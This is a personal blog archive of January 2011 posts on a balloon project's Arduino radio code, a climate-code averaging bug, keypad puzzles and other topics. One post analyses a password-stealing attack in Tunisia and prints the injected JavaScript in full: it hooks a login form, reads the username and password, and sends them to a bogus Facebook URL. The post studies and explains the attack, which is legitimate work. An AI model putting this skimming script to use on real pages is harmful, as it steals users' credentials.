Friday, January 28, 2011

Calculating, rather than experimenting to find, resistor values for the NTX2 voltage divider

A previous blog post showed the voltage divider circuit I'm using to drive the Radiometrix NTX2 transmitter in GAGA-1. And another blog post gave a spreadsheet for working out the voltages based on resistor values.

What you really want, though, is a way to say "given this required frequency shift what should the resistor values be?". Recall the circuit diagram I was using.
Arduino                         Radio
7 ---27K--------------\
                       ---------- TX
8 ---22K----2K2-------/
Now, replace the specific resistances on the left with R1 and R2 and the input impedance to ground with 100K (the value from the datasheet):
Arduino                      Radio
7 ---R1--------------\
                      ----------100K---Gnd
8 ---R2--------------/
Pins 7 and 8 are connected to either 5V or Gnd to make the divider so you have two configurations:
Arduino                      Radio
5V  ---R1--------------\
                        ----------100K---Gnd
Gnd ---R2--------------/

Gnd ---R1--------------\
                        ----------100K---Gnd
5V  ---R2--------------/
In both cases you can see that one of R1 or R2 is in parallel with the 100K input impedance so the dividers look like (I've used || to indicate the resistances in parallel):
5V  ---R1--------------X----------R2||100K---Gnd

5V  ---R2--------------X----------R1||100K---Gnd
Where the X is the connection to the TX pin and hence where we need specific voltages. For a 425Hz shift the difference between the two voltages needs to be 3/5000*425 (since the NTX2 has a deviation of 5kHz driven by a 0 to 3V value). Thus you can derive the following formula for the difference between the two voltages.

This simplifies to the following when you assume that R1 and R2 are positive (they are resistors after all!)

And that's a rather simple formula relating the resistances. Here's a graph of it (all resistance values are in k).

The cross hairs there correspond to one 22K resistor and another at about 24K2. Of course, if the input impedance isn't precisely 100K this isn't going to work, but the general method will.

The Genius of Turing

For some time I've been involved (albeit only slightly) in a new documentary about Alan Turing. Happily, I can now talk about it. Here's the official blurb:
Alan Turing was the British WW II code breaker and father of computer science who faced persecution for being gay. In his short life, Turing profoundly changed our world. Historians believe that his WW2 code breaking work helped save millions of lives and shortened the war by two years. He also founded three new scientific fields: computer science, artificial intelligence, and morphogenesis.

In 1952, he was arrested by British police for having a relationship with another man and eventually was forced to undergo chemical castration to "fix" his sexual orientation. Two years after his arrest, Turing killed himself at age 41. Turing is one of the most important scientists ever, yet his tragic story and lasting legacy remain largely unknown. This film will change that fact.

Almost 100 years after his birth, an international production team is set to take viewers on a journey to rediscover Alan Turing. Research and development for this feature-length drama documentary is underway, with plans to reach millions of viewers around the world through broadcast and theatrical release. The international production team includes Turing's preeminent biographer Dr. Andrew Hodges. Funding is currently being lined up for the film, with a goal for completion in mid-2012, to coincide with the centenary of Turing's birth. It's an important story that needs to be told.
And here's a little trailer:



More details of the film are here. The producers are busy fund-raising and working on the film with the aim of getting it finished for Turing's centenary in 2012.

Thursday, January 27, 2011

Voltage divider calculator for Radiometrix NTX2

In the configuration being used to drive the Radiometrix NTX2 in GAGA-1 there are two resistors (called them R1 and R2) that are creating a voltage divider and a third resistance (the input impedance of the module).

The module takes 0-3V on the TX pin and converts it to a 0-5Khz frequency shift from the centre frequency.

So to make calculations easy I made a little spreadsheet that allows you to punch in the two resistor values, the voltage supplied to the voltage divider and the input impedance to get a predicated pair of voltages sent to the TX pin, plus the corresponding frequency shift.

It's an Apple Numbers file and you can get it here (Excel version).

Wednesday, January 26, 2011

GAGA-1: Flight Computer radio's first transmission

Work is progressing on the flight computer with the first RTTY transmission. In the picture you can see the computer (the Arduino) in the foreground, connected with test leads to a small breadboard containing a voltage divider made from three resistors which then connects to the radio itself. The radio is connected to the ground plane antenna in the capsule.

The radio module is a Radiometrix NTX2 which transmits using FSK on 434.650Mhz. Its TX pin takes a voltage between 0 and 3V and converts that into a frequency shift of 0 to 5kHz. For the RTTY transmission I'll be using a shift of 425Hz between the mark and space frequencies.

That shift corresponds to a difference in voltage on the TX pin of 0.255V. The configuration I'm using is based on picoatlas where a pair of pins from the Arduino are used to power a voltage divider. The set up is as follows:
Arduino                         Radio
7 ---27K--------------\
                       ---------- TX
8 ---22K----2K2-------/
The pins 7, 8 and are switched so that one gives 5V and the other 0V. Thus the TX will be fed 2.36V or 2.64V depending on which is high and which is low. That's a difference of 0.27V. The TX pin has an input impedance of 100K and in the real measured circuit the voltages at the TX pin were 2.01V and 2.25V for a 0.24V shift. That should correspond to a shift of 400Hz. I'll measure that later.

The test code is as follows:
// These are the digital pins used to control the Radiometrix NTX2
// module.  TX0/TX1 are for the two tones used for RTTY and EN is
// connected to the Enable pin to enable or disable the module

#define EN  6
#define TX0 8
#define TX1 7

// These are the pins used to read/write two the internal and
// external temperature sensors

#define TEMP_INT
#define TEMP_EXT

void setup()
{
  // Set up the pins used to control the radio module and switch
  // it on
  
  pinMode( EN,  OUTPUT );
  pinMode( TX0, OUTPUT );
  pinMode( TX1, OUTPUT );
  digitalWrite( EN, HIGH );
  
}

void loop()
{
    char test[255];
    sprintf( test, "GAGA-1 High Altitude Balloon Test Transmission on 434.650 @ 10mW" );
    rtty_send(test);
    
    delay(5000);
}

// ---------------------------------------------------------------------------------
// RTTY Code
//
// Code to send strings via RTTY.  The RTTY parameters are defined by constants
// below.
// ---------------------------------------------------------------------------------

// The number of bits per character (7), number of start bits (1), number of stop bits (2)
// and the baud rate.

#define ASCII 7 
#define START 1
#define STOP 2
#define BAUD 50
#define INTER_BIT_DELAY (1000/BAUD)

// rtty_send: sends a null-terminated string via radio to the ground trackers
void rtty_send( char * s ) // The null-terminated string to transmit
{
  char c;
  while ( c = *s++ ) {
    int i;
    for ( i = 0; i < START; ++i ) {
      rtty_bit(0);
    }
    
    int b;   
    for ( i = 0, b = 1; i < ASCII; ++i, b *= 2 ) {
      rtty_bit(c&b);
    }
    
    for ( i = 0; i < STOP; ++i ) {
      rtty_bit(1);
    }
  }
 
  // Note that when idling RTTY specifies that it be in the 'mark' state (or 1).  This
  // is achieved by the stop bits that were sent at the end of the last character. 
}

// rtty_bit: sends a single bit via RTTY
void rtty_bit(int b) // Send 0 if b is 0, 1 if otherwise
{
  digitalWrite(TX0,(b>0)?HIGH:LOW);
  digitalWrite(TX1,(b>0)?LOW:HIGH);
  delay(INTER_BIT_DELAY);
}
Thanks to everyone on #highaltitude for tips and encouragement.

A small bug in the ICCER C++ Code

I'm kicking myself for not spotting this (which happened because I didn't examine the code in detail to check the outputs), but there's an anomaly in the code released by the The Independent Climate Change Email Review.

It has been pointed out by Nick Barnes in a comment where he says: A colleague points out that the code doesn't appear to weight cells by area. And, he (or the colleague) is correct.

Here's a snippet from the Met Office code for making the time series from their data.
# Global average of field
sub area_average {

    my $Field = shift;

    # Calculate the area average
    my $W_tot_NH = 0;
    my $A_tot_NH = 0;
    my $W_tot_SH = 0;
    my $A_tot_SH = 0;
    for ( my $i = 0 ; $i < $Field->{rows} ; $i++ ) {

        #Grid-box area is proportional to cosine of latitude
        my $Lat = 90 - ( $i + 0.5 ) * 180 / $Field->{rows};
        if ( $Lat > 90 || $Lat < -90 ) { next; }
        my $Weight = cos( $Lat * 3.141592 / 180 );
        for ( my $j = 0 ; $j < $Field->{columns} ; $j++ ) {
            if ( $Field->{data}->[$i][$j] == $Field->{missing} ) { next; }
            if ( $Lat > 0 ) {
                $W_tot_NH += $Weight;
                $A_tot_NH += $Field->{data}->[$i][$j] * $Weight;
            }
            else {
                $W_tot_SH += $Weight;
                $A_tot_SH += $Field->{data}->[$i][$j] * $Weight;
            }

        }
    }

#if northern hemisphere or southern hemisphere average is undefined return nothing
    unless ( $W_tot_NH > 0 && $W_tot_SH > 0 ) { return; }

    #otherwise return the mean of the northern and southern hemisphere averages
    return ( $A_tot_NH / $W_tot_NH + $A_tot_SH / $W_tot_SH ) / 2;
}
And here's a snippet from my code to do the same thing:
# ----------------------------------------------------------------------------
# 4. Use the gridded data to calculate northern and southern
# hemisphere average temperature anomaly.  This is done by averaging
# the anomalies over all the grid squares in the two hemispheres on a
# monthly basis to produce a single figure for each.  The averaging is
# weighted by the cosine of the latitude of the midpoint of the grid.
# ----------------------------------------------------------------------------

# Both these hashes have the same shape.  They contain a total and
# count of anomalies from all the grid squares in their hemisphere for
# the specific month and year.
#
# e.g. $north{1899}{0}{count}
#      $north{1899}{0}{total}

my %north;
my %south;

my $pi = 3.141592;

foreach my $year (sort keys %grid) {
  foreach my $month (sort { $a <=> $b } keys %{$grid{$year}}) {
    foreach my $long (sort keys %{$grid{$year}{$month}}) {
      foreach my $lat (sort keys %{$grid{$year}{$month}{$long}}) {
 my $weight = cos(($lat+$grid_size/2)*$pi/180); # Perl's cos() needs radians
 if ( $lat >= 0 ) {
   $north{$year}{$month}{count} += 1;
   $north{$year}{$month}{total} +=
     $weight * $grid{$year}{$month}{$long}{$lat}{total} /
       $grid{$year}{$month}{$long}{$lat}{count};
   $north{$year}{$month}{weight} += $weight;
 } else {
   $south{$year}{$month}{count} += 1;
   $south{$year}{$month}{total} +=
     $weight * $grid{$year}{$month}{$long}{$lat}{total} /
       $grid{$year}{$month}{$long}{$lat}{count};
   $south{$year}{$month}{weight} += $weight;
 }
      }
    }
  }
}
In both those bits of code the anomaly average is weighted based on the cosine of the latitude of the grid square (to take into account the different area of the grid boxes at different latitudes). If you don't do this then latitudes near the poles would have a greater effect on the overall result than they should. This averaging is explained in Hemispheric and Large-Scale Surface Air Temperature Variations: An Extensive Revision and an Update to 2001 (Jones and Moberg, 2003). Unfortunately, the ICCER C++ code does not do this, it takes a simple average, so the latitudes near the poles will be overemphasized.
//Now we have the grid, average over cells
  for( int iy=0; iy < nyears; iy++ )
  {
   anomaly[iy] = 0 ;
   int ncell=0 ;
   for( int ilat=0; ilat < nlat ; ilat++ )
   {
    for( int ilon=0; ilon < nlon; ilon++ )
    {
     if( grid[iy][ilat][ilon] > -9990 ) {
      anomaly[iy] += grid[iy][ilat][ilon];
      ncell++ ;
     }
     else {
     }
    }
   }
[snip]
  }
It's quite easy for this sort of thing to happen. When I read through Brohan et al. 2006 I had to really dig in and follow references to make sure that I was doing precisely what was being described. Probably no surprise that the ICCER guys made this error, you'd have to read Jones and Moberg 2003 to see it. And now you probably want to know what difference that makes. Well here's a chart showing the two trends.
The warming trend shape doesn't change, but the temperature anomaly does alter. In recent years the unweighed average is greater than the weighted. For example, grabbing 1998 to 2008 at random the differences ranges between 0.02C and 0.07C with an average of 0.06C. So the upshot of the ICCER bug is that it makes things seem slightly warming.

Just a little bit nerdy

I have been accussed by colleagues of being nerdy and the traits that they ascribe to me are somewhere along the autism spectrum and it's true that I did the Autism Quotient test and scored 32 (the average man apparently scores 17).

And thus I shall embrace nerdiness today and answer the following vital question: "If you type all the powers of 2 from 2^0 to 2^16 on a standard telephone keypad, how many times do you type each number and what pattern does it make?".

Telephone keypad on the left, in the middle the number of times each key is pressed, and a simple shading to show the same data. At the bottom is a simple bar chart showing frequency for each key.
It's pleasing that 7 is only typed once (in 32,768).

Sunday, January 23, 2011

A visit to 'Mos Espa' on 'Tatooine'

With Tunisia in the news I was reminded of a trip I made there two years ago to visit the desert. As part of the trip I made a side excursion to see part of the set of Star Wars Episode 1: The Phantom Menace. In the film a large part of the action takes place on Tatooine (which takes its name from the real Tunisian town of Foum Tatouine).

Not far from the town of Nefta is an area called Oung Jmel and a short 4x4 ride away is the set of Mos Espa.

Here's a shot of the small collection of buildings that form the set. The rest of Mos Espa must have been added using CGI.

From the outside the buildings look like they are made of stone, but in the interior there's a simple wooden frame, chicken wire and a lot of plaster.

Here's a shot down the 'main street' of the set with a moisture vaporator. The vaporators are actually pretty rough wooden structures made from what looks like plywood screwed together and painted grey as if it were metal. Just behind and to the right of the vaporator is the building used for Akim's Munch.

Here are a couple more in the middle of nowhere (just outside the set). Close to the set there was lots of flat empty land that must have been used for some shots. Standing there I kept wanting to look for a missing droid but the sun was too bright.

Back in the town there's a large open area with buildings all around. If anyone recognizes these from the film please let me know as I don't have a copy of it. The arch here leads out to the open land where I took a picture of the vaporators.

Some of the buildings (like this one) had quite sturdy looking doors on them and it was not possible to go into them at all. At least one seemed to be used for storage by the folks who were selling trinkets outside the town.

And finally, the most amusing part. Here's a close up shot of a 'cooling fin' on a vaporator. It's made of a plastic draining rack (something like this) screwed upside down to the wooden frame and painted the same grey colour.

Saturday, January 22, 2011

GAGA-1: Getting close to completion

The last time I updated on GAGA-1 it was when I cut the hole for the camera. Since then I've had a little time to work on it and things are getting close to completion. There's still a bunch of software to write for the flight computer, but that shouldn't take long. The launch will now be in the early spring when the winds are favourable.

First, here's a nice shot of where I was. It shows the interior of the capsule with the recovery computer mounted in place, a rough location for its battery pack and the camera. The two SMA connectors are for the GPS and the GSM antennas.

The first thing I did was make a couple of battery connectors with leads of the right length. I've bought two battery holders (one holds 4 AAs for the recovery computer, the other holds 6 AAs for the flight computer). Both have snap on connectors in the PP3 style and so I soldered up some short leads.

The next job was to shorten the leads on the GSM and GPS antennas. They came with leads 5m long and I needed to get them down to a few cms otherwise there would be excess weight from useless wire. I cut the leads and soldered on new SMA connectors.

This was a total pain to do (any excess solder on the pin in the connector and inserting it was a nightmare). Finally, I got the three done with much poor language. Looks like there's some braid that needs trimming in this photograph:

Next job was fitting in notice to the outside of the box in case it gets lost. This is a piece of paper that's been laminated and then hot glued to the outside (I've masked my phone number here but it is on the real box). Inside the box there's the same message printed on a small piece of paper just in case the outer one was lost somehow.

To reduce the impact of Murphy's Law I painted all the connectors with colours that match so that I don't do something stupid like connect the GPS to the GSM antenna or wire up the wrong battery.

Then it was on to the flight computer radio. This consists of a Radiometrix NTX2 connected to the Arduino flight computer using a custom board. Here's the partially constructed board. It mounts on top of the Arduino and subsequently I've added a couple of resistors and an SMA socket.

The radio, of course, needs an antenna and for this purpose I built my own 1/4 wave, ground plane antenna tuned to the frequency at which GAGA-1 will transmit. It consists of five pieces of cut up coat hanger. Each piece if 16.4cm long (1/4 of the wavelength of the GAGA-1 transmitter).

Four of the pieces are joined together and form the ground plane; there are mounted flat against the bottom of the capsule. The fifth piece points downwards and is mounted at right angles to the ground plane. The ground plane is connected to the braid of a small piece of coax recovered from the GSM antenna wire I cut; the central piece is connected to the coax central conductor. The coax has a new SMA connector on the end for connection to the flight computer.

Finally, I painted and hot glued polystyrene balls to the ends of the antenna pieces to stop me (or others) getting poked by it. Here's a shot of GAGA-1 on its side with the antenna in place (the pieces are held together by a small round piece of plastic I found in my box of random stuff).

Some final tasks to perform are:

1. Fit the Lassen IQ GPS to the Arduino board
2. Write the flight computer software
3. Connect up the DS1821+ temperature sensors

Then I'll be ready for a full system test.

PS Having got all this stuff done I did a quick weigh in by shoving everything in the box (batteries and as yet unsoldered components). It weighed in at 989g. Pretty close to my original desire for 1kg.

PPS I will publish a schematic of the Arduino board when it's done.

The code injected to steal passwords in Tunisia

It's been floating around the net for weeks now, but I finally took a look at how someone in Tunisia (assumption is the government) was stealing usernames and passwords from common sites like Google Mail and Facebook.

The attack worked like this:

1. When a user visited a site like Facebook JavaScript would be injected into the page where the user types in their username and password. On Facebook these pages are served via HTTP and so the injection is possible if you can intercept at the ISP level. The actual username and password are sent via HTTPS but once the JavaScript is in there it's game over.

2. The login form itself is modified to include an onsubmit handler that calls the JavaScript function hAAAQ3d (which reads as hacked). That function reads the username and password and makes an HTTP call to a bogus page on Facebook. This page (named wo0dh3ad, which I think you can read was woodhead) has the username and password appended as parameters with some code to make them URL safe.

3. Someone, somewhere reads those URLs to extract the username and password. That could be done from a log file, or even a firewall could have been configured to filter these requests so that they would never reach Facebook.

I've pretty printed the code below. The major functions are hAAAQ3d (described above), r5t (generates a random string of characters which are added to the request URL used to send the username and password) and h6h (which I read as 'hash' which takes a username or password and converts it to a string of lowercase characters that can be safely transmitted in a URL).

There are helper functions inv0k(1,2,3) (which I read as 'invoke') which make the actual HTTP request. Two are used for different browser types and third is not used, but what it does is modify an injected image tag to get the same URL used to send the username/password.
function h6h(st)
{
  var st2="";
  for ( i = 0; i < st.length; i++ ) {
    c = st.charCodeAt(i);
    ch = (c & 0xF0) >> 4;
    cl = c & 0x0F;
    st2 = st2 + String.fromCharCode( ch + 97 ) + 
                String.fromCharCode( cl + 97 );
  }
  return st2;
}

function r5t(len)
{
  var st = "";
  for ( i = 0; i < len; i++ )
    st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) ); 
  return st;
}

function hAAAQ3d()
{
  var frm = document.getElementById( "login_form" ); 
  var us3r = frm.email.value; 
  var pa55 = frm.pass.value;
  var url = "http://www.facebook.com/wo0dh3ad?q=" + r5t( 5 ) + 
      "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 ); 
  var bnm = navigator.appName; 
  if ( bnm == 'Microsoft Internet Explorer' )
    inv0k3(url);
  else 
    inv0k2(url);
}

function inv0k1(url) 
{
  var objhq = document.getElementById("x6y7z8"); 
  objhq.src = url;
}

function inv0k2(url)
{
  var xr = new XMLHttpRequest(); 
  xr.open("GET", url, false); 
  xr.send("");
}

function inv0k3(url) 
{
  var xr = new ActiveXObject('Microsoft.XMLHTTP'); 
  xr.open("GET", url, false); 
  xr.send("");
}

Friday, January 21, 2011

A few crazed tweets about typing on keyboards and keypads

QWERTY

The keyboard layout is
QWERTYUIOP
ASDFGHJKL
ZXCVBNM
and I wondered (aloud on Twitter) what words could be typed using just certain rows.

rupturewort: the longest word that can be written only using the top row on a QWERTY keyboard (although twitterer isn't far behind).

haskalah can be written with the second row on the QWERTY keyboard (and also flagfall). The third row yields no words at all.

Telephone Keypad

The phone keypad looks like:
  1   2   3 
     ABC DEF

  4   5   6
 GHI JKL MNO

  7   8   9
PQRS TUV WXYZ

      0
On a telephone keypad the longest word using the numbers in increasing order is bedfellow (233335569). Without repeats it's bijoux (245689).

Without repeats and only consecutive numbers it's 'glost' (45678), with repeats but consecutive only it's 'begloom' (2345666).

Also, if you type 3333333 on a phone you can spell 'deeded'. 222222 is 'bacaba'

Also the phone keypad version of desentimentalize (3373684636825493) is prime.

Tuesday, January 11, 2011

I am not part of the 'worried well'

In today's Daily Telegraph there's an article that says that the Chairman of the Royal College of GPs, Dr Clare Gerada, believes the government should consider a law preventing 'healthy' people who are not in flu high-risk groups from getting the flu vaccine. These people, which include me, are referred to as the 'worried well'.

Well, bollocks to that.

1. If the NHS has managed to run out of flu vaccine for the people it's meant to be protecting in the high-risk groups then that's the NHS' problem and blaming people who paid for the vaccine isn't going to fix it. It's a pure question of economics.

2. Getting a vaccination against a nasty disease that kills people isn't being 'worried', it's being sensible. I get the flu vaccine because I don't want the flu, not because I am fearful. Flu is a very nasty disease and I don't want to get it: OK, Dr. Gerada? And this year one of the main strains is H1N1, to quote the US CDC: "In contrast to seasonal flu, nearly 90 percent of the deaths (from H1N1) occurred among people younger than 65 years of age."

3. In the US the CDC has recommended universal flu vaccination rather than the UK vaccination of high-risk groups. They don't appear to be labelling people like me as 'worried well'.

Network protocol analysis prior art?

Digging through some old box files I came across disks and print outs of code I wrote in the 1980s (mostly assembly language). One particular program is called NETSCOOP and acts as a protocol analyzer for the Z-NET. It scoops up packets from the network and displays them on screen after decoding source, destination and port information. Additionally it shows the packet contents.

Here are a couple of scans:
The print out is dated 1986 which is the final year that I was working on that type of network equipment and makes sense. The earliest patent for a local area network protocol analyzer that I can find is Local area network protocol analyzer which was filed 19 February 1987. There's another dated 22 October 1986 called Method and apparatus for a packet-switched network communications measurement matrix display. But that's still after NETSCOOP because I stopped working on it in June 1986. Even tcpdump dates to 1987.

So, this could be prior art for all those local area network protocol analysis patents. Any lawyers want to opine?

Monday, January 10, 2011

How to buy signed copies of The Geek Atlas

Many people ask me about getting signed/dedicated copies of The Geek Atlas. I tried to arrange this through O'Reilly directly, but it was complicated logistically. So I'm doing it myself. If you are interested in a signed/dedicated copy of The Geek Atlas then you can buy it directly from me.

Here's the scoop:

1. You need to pay the full retail US price: $29.99; there is no shipping to pay. Paying the full price covers the cost of shipping/packaging by me. I will ship anywhere in the world.

2. If you have a specific dedication you'd like written in the book (e.g. "To Bob", or "For Alice") then enter it in the text box below before clicking Buy Now. If you don't write anything then I will simply sign the book.

3. I will sign each copy sent out. You will also receive a special stamp in the book containing the latitude and longitude of a mystery location. This is a bit of fun for people interested in tracking down what's there (of course, you can just Google it if you want).

4. Make sure the shipping address you give Paypal is correct. I will endeavour to ship out your signed/dedicated book within three working days.

To buy use the following form:


Enter desired dedication


The ultimate nerd badge

There ought to be a special badge for nerds who have completed an agreed set of nerdy activities awarded by some central nerd committee. Here's my list:

1. Large amount of role-playing games experience: ✓

2. Memorized long sequence of digits of pi: ✓

3. Degree in computer science or similar: ✓

4. Poor choice of eye-glasses: ✓

5. Can recite large sections of WarGames or Star Wars or others: ✓

6. Amateur radio license: ✓

7. Interest in science fiction or speculative fiction: ✓

What am I missing? I haven't included specific computer experience (such as compiled your own kernel, wrote your own compiler) because there are lots of non-computer nerds.

A couple of videos of the Bombe cracking Engima at Bletchley Park

I spent the weekend at Bletchley Park and managed to see a demonstration of the Bombe cracking Enigma. Here are a couple of short videos:

Front:


Back:

Friday, January 07, 2011

More 11:11 moronity

In the past I've complained about Uri Geller's (and others) fascination with the number 11 which, depending on who you ask, is a sign of peace, war, or 1,111 spirits or angels who are making themselves known through 11 (and also the time 11:11).

For example, I wrote about the occurrence of the sum 11 on clocks (and airline seats) and the relationship with Benford's Law.

One aspect of the 11 fascination is looking for 11 in sums of digits (classic numerology). For example, Geller has September 11th is the 254th day of the year: 2+5+4 = 11 The date of the attack: 9/11 - 9 + 1 + 1 = 11.

So, in general a good question is 'how likely is 11 to appear as the sum of single digits?'. To answer that I calculated the number of times all sums of two and three digits (i.e. add any two from 0 through 9, or any three from 0 through 9) occur. Here are the graphs.


Clearly, 11 is very likely to occur when you start looking for it, but personally I'm starting my own New Age mystical group based on the number 13. Using my amazing powers of probability I should be able to find lots of three digit things that add up to 13.

And, also 13 people at the Last Supper. Jewish children mature at age 13. 13 witches in a coven. 13 cards in a suit.

It must mean something.

Also, 13 letters in Graham-Cumming. Bow down, I am the prophet of 13.